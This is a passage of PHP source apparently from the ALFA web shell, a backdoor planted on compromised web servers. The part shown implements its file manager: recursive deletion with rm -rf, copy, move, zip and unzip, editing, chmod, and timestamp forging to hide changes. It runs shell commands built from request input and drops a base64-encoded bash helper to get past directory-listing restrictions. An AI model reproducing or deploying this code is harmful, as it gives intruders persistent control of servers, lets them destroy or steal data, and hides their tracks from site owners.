$dh = @opendir($path);
while(($item = @readdir($dh)) !== false){
$item = $path.$item;
if((basename($item) == "..") || (basename($item) == ))
continue;
$type = @filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
@closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f){
if($f == '..')
continue;
$f = rawurldecode($f);
if($GLOBALS["glob_chdir_false"]){
if(_alfa_can_runCommand(true,true)){
alfaEx("rm -rf '".addslashes($_POST['c'].'/'.$f)."'");
}
}else{
alfaEx("rm -rf '".addslashes($f)."'",false,false);
if(@is_dir($f))
deleteDir($f);
else
@unlink($f);
}
}
if(@is_dir(rawurldecode(@$_POST['alfa2']))&&rawurldecode(@$_POST['alfa2'])!='..'){
deleteDir(rawurldecode(@$_POST['alfa2']));
alfaEx("rm -rf '".addslashes($_POST['alfa2'])."'",false,false);
}else{
@unlink(rawurldecode(@$_POST['alfa2']));
}
if($GLOBALS["glob_chdir_false"]){
$source = rawurldecode(@$_POST['alfa2']);
if($source!='..'&&!empty($source)){
if(_alfa_can_runCommand(true,true)){
alfaEx("cd '".trim(addslashes($_POST['c']))."';rm -rf '".addslashes($source)."'");
}
}
}
if(is_array($_POST['f']))
return;
break;
case 'paste':
if($_COOKIE['alfa_act'] == 'copy'&&isset($_COOKIE['alfa_f'])){
foreach($_COOKIE['alfa_f'] as $f)
copy_paste($_COOKIE['alfa_c'],$f, $GLOBALS['cwd']);
}elseif($_COOKIE['alfa_act'] == 'move'&&isset($_COOKIE['alfa_f'])){
function move_paste($c,$s,$d){
if(@is_dir($c.$s)){
@mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if(($f != ) and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
}elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['alfa_f'] as $f)
@rename($_COOKIE['alfa_c'].$f, $GLOBALS['cwd'].$f);
}elseif($_COOKIE['alfa_act'] == 'zip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
$zipX = "alfa_".rand(1,1000).".zip";
if($zip->open($zipX, 1)){
@chdir($_COOKIE['alfa_c']);
foreach($_COOKIE['alfa_f'] as $f){
if($f == '..')continue;
if(@is_file($_COOKIE['alfa_c'].$f))
$zip->addFile($_COOKIE['alfa_c'].$f, $f);
elseif(@is_dir($_COOKIE['alfa_c'].$f)){
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach($iterator as $key=>$value){
$key = str_replace('\\','/',realpath($key));
if(@is_dir($key)){
if(in_array(substr($key, strrpos($key,'/')+1),array(, '..')))continue;
}else{$zip->addFile($key,$key);}}}}
@chdir($GLOBALS['cwd']);
$zip->close();
__alert('>> '.$zipX.' << is created...');}}
}elseif($_COOKIE['alfa_act'] == 'unzip'&&isset($_COOKIE['alfa_f'])){
if(class_exists('ZipArchive')){
$zip = new ZipArchive();
foreach($_COOKIE['alfa_f'] as $f) {
if($zip->open($_COOKIE['alfa_c'].$f)){
$zip->extractTo($_COOKIE['alfa_cwd']);
$zip->close();}}}}
unset($_COOKIE['alfa_f']);
break;
default:
if(!empty($_POST['alfa1'])){
if(in_array($_POST['alfa1'], array("copy", "move", "zip", "unzip"))){
__alfa_set_cookie('alfa_act', @$_POST['alfa1']);
__alfa_set_cookie('alfa_f', @serialize($_POST['f']));
__alfa_set_cookie('alfa_c', @$_POST['c']);
return;
}
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if(preg_match("#(.*)\/\.\.#", $_POST['c'], $res)){
$path = explode('/', $res[1]);
array_pop($path);
$_POST['c'] = implode('/', $path);
}
$cmd_dir = false;
if($dirContent === false){
if(_alfa_can_runCommand(true,true)){
$tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];
@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));
if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){
$bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";
$tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);
__alfa_set_cookie("alfachdir_bash", "true");
__alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);
}
$dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa '".addslashes(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd'])."'");
$dirContent = json_decode($dirContent, true);
if(is_array($dirContent)){
array_pop($dirContent);
$cmd_dir = true;
}else{
$dirContent = false;
}
}
}
alfahead();
AlfaNum(8,9,10,7,6,5,4);
$count_dirContent = @count($dirContent);
if($count_dirContent > 300){
@$_COOKIE["alfa_limited_files"] = 100;
}
$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : 'name';
$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;
$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;
$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : 'asc';
$files_page_count = 1;
if($alfa_limited_files > 0){
$files_page_count = ceil($count_dirContent/$alfa_limited_files);
if($files_page_count > 1){
$files_page_count++;
}
}
echo '<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\'alfa_sort_by\');" style="color:#25ff00;"><option value="name" '.($alfa_sort_by == 'name'?'selected':'').'>Name</option><option value="size" '.($alfa_sort_by == 'size'?'selected':'').'>Size</option><option value="modify" '.($alfa_sort_by == 'modify'?'selected':'').'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\'alfa_filesman_direction\')" style="color:#25ff00;"><option value="asc" '.($alfa_filesman_direction == 'asc'?'selected':'').'>Ascending</option><option value="desc" '.($alfa_filesman_direction == 'desc'?'selected':'').'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="'.$alfa_limited_files.'" oninput="this.value=this.value.replace(/[^0-9]/g,\'\');setCookie(\'alfa_limited_files\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">'.($count_dirContent-1).'</b></span></div><div class="header">';
if($dirContent == false){
echo '<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>';
alfaFooter();
return;
}
global $sort;
$sort = array('name', 1);
if(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){
$sort[0] = $_COOKIE["alfa_sort_by"];
}
if(!empty($_POST['alfa1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['alfa1'], $match))
$sort = array($match[1], (int)$match[2]);
}
if($alfa_files_page_number > ($files_page_count-1)){
$alfa_files_page_number = 1;
}
$checkbox_rand = rand(11111, 99999);
echo "<form onsubmit='fc(this);return false;' name='files' method='post'><table id='filemanager_table' width='100%' class='main' cellspacing='0' cellpadding='2'><tr><th width='13px'><div class='myCheckbox' style='padding-left:0px;'><input type='checkbox' id='mchk".$checkbox_rand."' onclick='checkBox(this);' class='chkbx'><label for='mchk".$checkbox_rand."'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";
$dirs = $files = array();
$n = $count_dirContent;
if($n > $alfa_limited_files && $alfa_limited_files > 0){
$n = ($alfa_limited_files * $alfa_files_page_number);
if($n > $count_dirContent){
$n = $count_dirContent;
}
}
$i = 0;
if($alfa_limited_files > 0 && $alfa_files_page_number > 1){
$i = $alfa_limited_files * ($alfa_files_page_number - 1);
}
$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);
$cmd_dir_backp = "";
for(;$i<$n;$i++){
if($cmd_dir){
$filename = $dirContent[$i]["name"];
$file_owner = $dirContent[$i]["owner"];
$file_group = $dirContent[$i]["group"];
$file_modify = @date('Y-m-d H:i:s', $dirContent[$i]["modify"]);
$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);
$file_size = $dirContent[$i]["size"];
if(substr($dirContent[$i]["name"], 0 ,1) == "/"){
$file_path = $dirContent[$i]["name"];
$dirContent[$i]["name"] = "..";
$filename = $dirContent[$i]["name"];
}else{
$file_path = $GLOBALS['cwd']."/".$dirContent[$i]["name"];
}
}else{
$filename =$dirContent[$i];
$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS['cwd'].$filename)):array("name" => "????");
$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS['cwd'].$filename)):array("name" => "????");
$file_owner = $ow['name']?$ow['name']:(function_exists("fileowner")?@fileowner($GLOBALS['cwd'].$filename):"????");
$file_group = $gr['name']?$gr['name']:(function_exists("filegroup")?@filegroup($GLOBALS['cwd'].$filename):"????");
$file_modify = @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $filename));
$file_perm = alfaPermsColor($GLOBALS['cwd'].$filename);
$file_size = @filesize($GLOBALS['cwd'].$filename);
$file_path = $GLOBALS['cwd'].$filename;
}
$tmp = array('name' => $filename,
'path' => $file_path,
'modify' => $file_modify,
'perms' => $file_perm,
'size' => $file_size,
'owner' => $file_owner,
'group' => $file_group
);
if($filename == ".." && !$cmd_dir){
$tmp["path"] = str_replace("\\", "/", realpath($file_path));
}
if(!$cmd_dir){
if(@is_file($file_path)){
$arr_mrg = array('type' => 'file');
if(@is_link($file_path)){
$arr_mrg["link"] = readlink($tmp['path']);
}
$files[] = array_merge($tmp, $arr_mrg);
}elseif(@is_link($file_path)){
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
}elseif(@is_dir($file_path)&& ($filename != )){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}else{
if($dirContent[$i]["type"]=="file"){
$files[] = array_merge($tmp, array('type' => 'file'));
}else{
if($dirContent[$i]["name"] != ){
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
}
}
}
$GLOBALS['sort'] = $sort;
function alfaCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "alfaCmp");
usort($dirs, "alfaCmp");
if(isset($_COOKIE["alfa_filesman_direction"])&& !empty($_COOKIE["alfa_filesman_direction"])){
if($_COOKIE["alfa_filesman_direction"] == 'desc'){
$files = array_reverse($files);
$dirs = array_reverse($dirs);
}
}
$files = array_merge($dirs, $files);
$l=0;
$cc=0;
foreach($files as $f){
$f['name'] = htmlspecialchars($f['name']);
$newname = mb_strlen($f['name'], 'UTF-8')>60?mb_substr($f['name'], 0, 60, 'utf-8').'...':$f['name'];
$checkbox = 'checkbox_'.$checkbox_rand.$cc;
$raw_name = rawurlencode($f['name']);
$icon = $GLOBALS['DB_NAME']['show_icons']?'<img src="'.findicon($f['name'],$f['type']).'" width="30" height="30">':'';
$style = $GLOBALS['DB_NAME']['show_icons']?'position:relative;display:inline-block;bottom:12px;':'';
echo '<tr class="fmanager-row" id="tr_row_'.$cc.'"><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="'.$raw_name.'" class="chkbx" id="'.$checkbox .'"><label for="'.$checkbox .'"></label></div></td><td id="td_row_'.$cc.'">'.$icon.'<div style="'.$style.'"><a row="'.$cc.'" id="id_'.$cc.'" class="main_name" onclick="'.(($f['type']=='file')?'editor(\''.$raw_name.'\',\'auto\',\'\',\'\',\'\',\''.$f['type'].'\');" href="#action=fileman&path='.$GLOBALS['cwd'].'&file='.$raw_name.'" fname="'.$raw_name.'" ftype="file" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'>'.($GLOBALS['cwd'].$f['name']==$GLOBALS['__file_path']?"<span class='shell_name' style='font-weight:unset;'>".$f['name']."</span>":htmlspecialchars($newname)):'g(\'FilesMan\',\''.$f['path'].'\');" href="#action=fileman&path='.$f['path'].'" fname="'.$raw_name.'" ftype="folder" path="'.$GLOBALS['cwd'].'" opt_title="'.$f['link'].'" '.(isset($f['link'])?'onmouseover="showSymlinkPath(this,event);" onmouseout="hideSymlinkPath(this,event);"':'').'><b>| ' . htmlspecialchars($f['name']) . ' |</b>').'</a></td></div><td><span style="font-weight:unset;" class="main_size">'.(($f['type']=='file')?(isset($f['link'])?'[L] ':'').alfaSize($f['size']):$f['type']).'</span></td><td><span style="font-weight:unset;" class="main_modify">'.$f['modify'].'</span></td><td><span style="font-weight:unset;" class="main_owner_group">'.$f['owner'].'/'.$f['group'].'</span></td><td><a id="id_chmode_'.$cc.'" href=javascript:void(0) onclick="editor(\''.$raw_name.'\',\'chmod\',\'\',\'\',\'\',\''.$f['type'].'\')">'.
$f['perms'].'</td><td><a id="id_rename_'.$cc.'" title="Rename" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'rename\',\'\',\'\',\'\',\''.$f['type'].'\')">R</a> <a id="id_touch_'.$cc.'" title="Modify Datetime" class="actions" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'touch\',\'\',\'\',\'\',\''.$f['type'].'\')">T</a>'.(($f['type']=='file')?' <a id="id_edit_'.$cc.'" class="actions" title="Edit" href="javascript:void(0);" onclick="editor(\''.$raw_name.'\', \'edit\',\'\',\'\',\'\',\''.$f['type'].'\')">E</a> <a id="id_download_'.$cc.'" title="Download" class="actions" href="javascript:void(0);" onclick="g(\'FilesTools\',null,\''.$raw_name.'\', \'download\')">D</a>':'').'<a id="id_delete_'.$cc.'" title="Delete" class="actions" href="javascript:void(0);" onclick="var chk = confirm(\'Are You Sure For Delete # '.addslashes(rawurldecode($f['name'])).' # ?\'); chk ? g(\'FilesMan\',null,\'delete\', \''.$raw_name.'\') : \'\';"> X </a></td></tr>';
$l = $l?0:1;
$cc++;
}
echo "<tr id='filemanager_last_tr'><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='".htmlspecialchars(($GLOBALS['glob_chdir_false']?$_POST['c']:$GLOBALS['cwd']))."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select id='tools_selector' name='alfa1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete' selected>Delete</option><option value='zip'>Add 2 Compress (zip)</option><option value='unzip'>Add 2 Uncompress (zip)</option><option value='paste'>Paste</option></select>
<input type='submit' value='>>'>
</form></table><div class='pages-holder'><div class='pages-number'>".$page_builder."</div></div></div></div>";
alfafooter();
}
function get_pagination_links($current_page, $total_pages){
$links = "";
if ($total_pages >= 1 && $current_page <= $total_pages) {
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\"><<</a>";
$selected_page = "";
if($current_page == 1){
$selected_page = " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">1</a>";
$i = max(2, $current_page - 5);
if ($i > 2)
$links .= "<a class=\"page-number\">...</a>";
for (; $i < min($current_page + 6, $total_pages); $i++) {
if($i == $current_page){
$selected_page = " active-page-number";
}else{
$selected_page = "";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$i}</a>";
}
if ($i != $total_pages)
$links .= "<a class=\"page-number\">...</a>";
$selected_page = " last-page-number";
if($current_page == $total_pages){
$selected_page .= " active-page-number";
}
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number".$selected_page."\">{$total_pages}</a>";
$links .= "<a onclick=\"pageChangedFilesMan(this);\" class=\"page-number\">>></a>";
}
return $links;
}
function alfaFilesTools(){
alfahead();
echo '<div class="filestools" style="height: 100%;">';
if(isset($_POST['alfa1']))$_POST['alfa1'] = rawurldecode($_POST['alfa1']);
$alfa1_decoded = $_POST['alfa1'];
$chdir_fals = false;
if(!@chdir($_POST['c'])){
$chdir_fals = true;
$_POST['alfa1'] = $_POST["c"]."/".$_POST["alfa1"];
$alfa_canruncmd = _alfa_can_runCommand(true,true);
if($alfa_canruncmd){
$slashed_alfa1 = addslashes($_POST['alfa1']);
$file_info = explode(":", alfaEx('stat -c "%F:%U:%G:%s:%Y:0%a:%A" "'.$slashed_alfa1.'"'));
$perm_color_class = alfaEx("if [[ -w '".$slashed_alfa1."' ]]; then echo main_green_perm; elif [[ -r '".$slashed_alfa1."' ]]; then echo main_white_perm; else echo main_red_perm; fi");
}
}
if($_POST['alfa2'] == 'auto'){
if(is_array(@getimagesize($_POST['alfa1']))){
$_POST['alfa2'] = 'image';
}else{
$_POST['alfa2'] = 'view';
if($chdir_fals){
if($alfa_canruncmd){
$mime = explode(":", alfaEx("file --mime-type '".addslashes($_POST['alfa1'])."'"));
$mimetype = $mime[1];
if(!empty($mimetype)){
if(strstr($mimetype, "image")){
$_POST['alfa2'] = 'image';
}
}
}
}
}
}
if($_POST['alfa2'] == "rename" && !empty($_POST['alfa3']) && @is_writable($_POST['alfa1'])){$rename_cache = $_POST['alfa3'];}
if(@$_POST['alfa2'] == 'mkfile'){
$_POST['alfa1'] = trim($_POST['alfa1']);
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST["c"])){
alfaEx("cd '".addslashes($_POST["c"])."';touch '".addslashes($alfa1_decoded)."'");
$_POST['alfa2'] = "edit";
}
}
if(!@file_exists($_POST['alfa1'])){
$fp = @fopen($_POST['alfa1'], 'w');
if($fp){
$_POST['alfa2'] = "edit";
fclose($fp);
}
}else{
$_POST['alfa2'] = "edit";
}
}
if(!_alfa_file_exists(@$_POST['alfa1'])){
echo __pre()."<center><p><div class=\"txtfont\"><font color='red'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory('".$_POST['alfa4']."');</script>";
alfaFooter();
return;
}
if($chdir_fals){
$filesize = $file_info[3];
$uid["name"] = $file_info[1];
$gid["name"] = $file_info[2];
$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST['alfa1'])):'';
$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST['alfa1'])):'';
if(!$uid&&!$gid){
$uid['name'] = function_exists("fileowner")?@fileowner($_POST['alfa1']):'';
$gid['name'] = function_exists("filegroup")?@filegroup($_POST['alfa1']):'';
}
$permcolor = alfaPermsColor($_POST['alfa1']);
$filesize = @filesize($_POST['alfa1']);
if(!isset($uid['name'],$gid['name'])||empty($uid['name'])||empty($gid['name'])){
if(_alfa_can_runCommand()){
list($uid['name'],$gid['name']) = explode(":", alfaEx('stat -c "%U:%G" "'.addslashes($_POST["c"]."/".$_POST["alfa1"]).'"'));
}
}
}
if(substr($_POST['alfa1'], 0, 7) == "phar://"){
$alfa_file_directory = $_POST['alfa1'];
}else{
$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST['c'].'/').$_POST['alfa1']);
}
echo '<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> '.htmlspecialchars(basename($alfa1_decoded)).' <span class="editor_file_info_vars">Size:</span> '.alfaSize($filesize).' <span class="editor_file_info_vars">Permission:</span> '.$permcolor.' <span class="editor_file_info_vars">Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].' <span class="editor_file_info_vars">Directory:</span> '.dirname($alfa_file_directory).'</div>';
if(empty($_POST['alfa2']))$_POST['alfa2'] = 'view';
if(!_alfa_is_dir($_POST['alfa1'])){
$m = array('View', 'Download', 'Highlight', 'Chmod', 'Rename', 'Touch', 'Delete', 'Image', 'Hexdump');
$ftype = "file";
}else{
$m = array('Chmod', 'Rename', 'Touch');
$ftype = "dir";
}
echo('<div>');
foreach($m as $v)
echo $v == 'Delete' ? '<a href="javascript:void(0);" onclick="var chk=confirm(\'Are You Sure For Delete This File ?\');chk?editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\'):\'\';"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a> ' : '<a href="javascript:void(0);" onclick="editor(\''.addslashes(!isset($rename_cache)?$_POST['alfa1']:$rename_cache).'\',\''.strtolower($v).'\',\'\',\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\')"><span class="editor_actions">'.((strtolower($v)==@$_POST['alfa2'])?'<b><span class="editor_actions"> '.$v.' </span> </b>':$v).' | </span></a>';
echo '</div>';
switch($_POST['alfa2']){
case 'view':case 'edit':
@chdir($_POST['c']);
$disabled_btn = "";
if(!@is_writable($_POST['alfa1'])&&!_alfa_is_writable($_POST['alfa1'])){
$disabled_btn = "disabled=disabled";
$disabled_btn_style= 'background: #ff0000;color: #fff;';
}
if(!empty($_POST['alfa3'])){
$_POST['alfa3'] = substr($_POST['alfa3'],1);
$time = @filemtime($_POST['alfa1']);
$fp = @__write_file($_POST['alfa1'],$_POST['alfa3']);
if($chdir_fals&&$alfa_canruncmd){
$rname = $alfa1_decoded;
$randname = $rname.rand(111,9999);
$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;
if($fp = @__write_file($filepath ,$_POST['alfa3'])){
alfaEx("mv '".addslashes($filepath)."' '".addslashes($_POST["alfa1"])."';rm -f '".addslashes($filepath)."'");
}
}
if($fp){
echo 'Saved!<br>';
@touch($_POST['alfa1'],$time,$time);
}
}
echo '<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">'._alfa_load_ace_options("editor").'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\'ace_id\')].getValue();editor(\''.addslashes($alfa1_decoded).'\',\'edit\',\'1\'+ace_val,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;'.$disabled_btn_style.'" '.$disabled_btn.'>save</button></div><pre class="ml1 view_ml_content">';
echo htmlspecialchars(__read_file($_POST['alfa1']));
echo '</pre></div></div>';
break;
case 'highlight':
@chdir($_POST['c']);
if(@is_readable($_POST['alfa1'])){
echo '<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">';
$code = @highlight_file($_POST['alfa1'],true);
echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div></div></div>';
}
break;
case 'delete':
@chdir($_POST['c']);
if(@is_writable($_POST['alfa1'])||$GLOBALS["glob_chdir_false"]){
$deleted = true;
if(!@unlink($_POST['alfa1'])){
$deleted = false;
if($alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
alfaEx("rm -f '".addslashes($_POST['alfa1'])."'");
$deleted = true;
}
}
}
if($deleted)echo 'File Deleted...<script>var elem = $("'.$_POST['alfa4'].'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["'.$_POST['alfa4'].'"];</script>';else echo 'Error...';}
break;
case 'chmod':
@chdir($_POST['c']);
if(!empty($_POST['alfa3'])){
$perms = 0;
for($i=strlen($_POST['alfa3'])-1;$i>=0;--$i)
$perms += (int)$_POST['alfa3'][$i]*pow(8, (strlen($_POST['alfa3'])-$i-1));
if(!@chmod($_POST['alfa1'], $perms)){
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';chmod ".addslashes($_POST['alfa3'])." '".addslashes($alfa1_decoded)."'");
echo('Success!');
}else{
echo '<font color="#FFFFFF"><b>Can\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>';}
}else{echo('Success!');}
}
clearstatcache();
AlfaNum(8,9,10,7,6,5,4,2,1);
if($chdir_fals){
$file_perm = $file_info[5];
}else{
$file_perm = substr(sprintf('%o', @fileperms($_POST['alfa1'])),-4);
}
echo '<script>alfa3_="";</script><form onsubmit="editor(\''.addslashes($_POST['alfa1']).'\',\''.$_POST['alfa2'].'\',this.chmod.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="chmod" value="'.$file_perm.'"><input type=submit value=" "></form>';
break;
case 'hexdump':
@chdir($_POST['c']);
$c = __read_file($_POST['alfa1']);
$n = 0;
$h = array('00000000<br>','','');
$len = strlen($c);
for ($i=0; $i<$len; ++$i) {
$h[1] .= sprintf('%02X',ord($c[$i])).' ';
switch ( ord($c[$i]) ) {
case 0: $h[2] .= ' '; break;
case 9: $h[2] .= ' '; break;
case 10: $h[2] .= ' '; break;
case 13: $h[2] .= ' '; break;
default: $h[2] .= $c[$i]; break;
}
$n++;
if ($n == 32) {
$n = 0;
if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}$h[1] .= '<br>';
$h[2] .= "\n";
}
}
echo '<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table></div></div>';
break;
case 'rename':
@chdir($_POST['c']);
$alfa1_escape = addslashes($_POST["alfa1"]);
$alfa3_escape = addslashes($_POST["alfa3"]);
if(!empty($_POST['alfa3'])){
$cmd_rename = false;
if($chdir_fals&&$alfa_canruncmd){
if(_alfa_is_writable($_POST['alfa1'])){
$alfa1_escape = addslashes($alfa1_decoded);
alfaEx("cd '".addslashes($_POST['c'])."';mv '".$alfa1_escape."' '".addslashes($_POST['alfa3'])."'");
}else{
$cmd_rename = true;
}
}else{
$alfa1_escape = addslashes($_POST["alfa1"]);
}
if(!@rename($_POST['alfa1'], $_POST['alfa3'])&&$cmd_rename){
echo 'Can\'t rename!<br>';}else{echo('Renamed!<script>try{$("'.$_POST['alfa4'].'").innerHTML = "<div class=\'editor-icon\'>"+loadType(\''.$alfa3_escape.'\',\''.$ftype.'\',\''.$_POST['alfa4'].'\')+"</div><div class=\'editor-file-name\'>'.$alfa3_escape.'</div>";editor_files["'.$_POST['alfa4'].'"].file = "'.$alfa3_escape.'";updateFileEditor("'.$alfa1_escape.'", "'.$alfa3_escape.'");'.($ftype == "dir"?"updateDirsEditor('".$_POST['alfa4']."','".$alfa1_escape."');":"").'}catch(e){console.log(e)}</script>');$alfa1_escape = $alfa3_escape;}
}
echo '<form onsubmit="editor(\''.$alfa1_escape.'\',\''.$_POST['alfa2'].'\',this.name.value,\''.$_POST['c'].'\',\''.$_POST['alfa4'].'\',\''.$ftype.'\');return false;"><input type="text" name="name" value="'.addslashes(htmlspecialchars(isset($_POST['alfa3'])&&$_POST['alfa3']!=''?$_POST['alfa3']:$alfa1_decoded)).'"><input type=submit value=" "></form>';
break;
case 'touch':
@chdir($_POST['c']);
if( !empty($_POST['alfa3']) ) {
$time = strtotime($_POST['alfa3']);
if($time){
$touched = false;
if($chdir_fals&&$alfa_canruncmd){
alfaEx("cd '".addslashes($_POST["c"])."';touch -d '".htmlspecialchars(addslashes($_POST['alfa3']))."' '".addslashes($alfa1_decoded)."'");
$touched = true;
}
if(!@touch($_POST['alfa1'],$time,$time)&&!$touched)
echo 'Fail!';
else
echo 'Touched!';
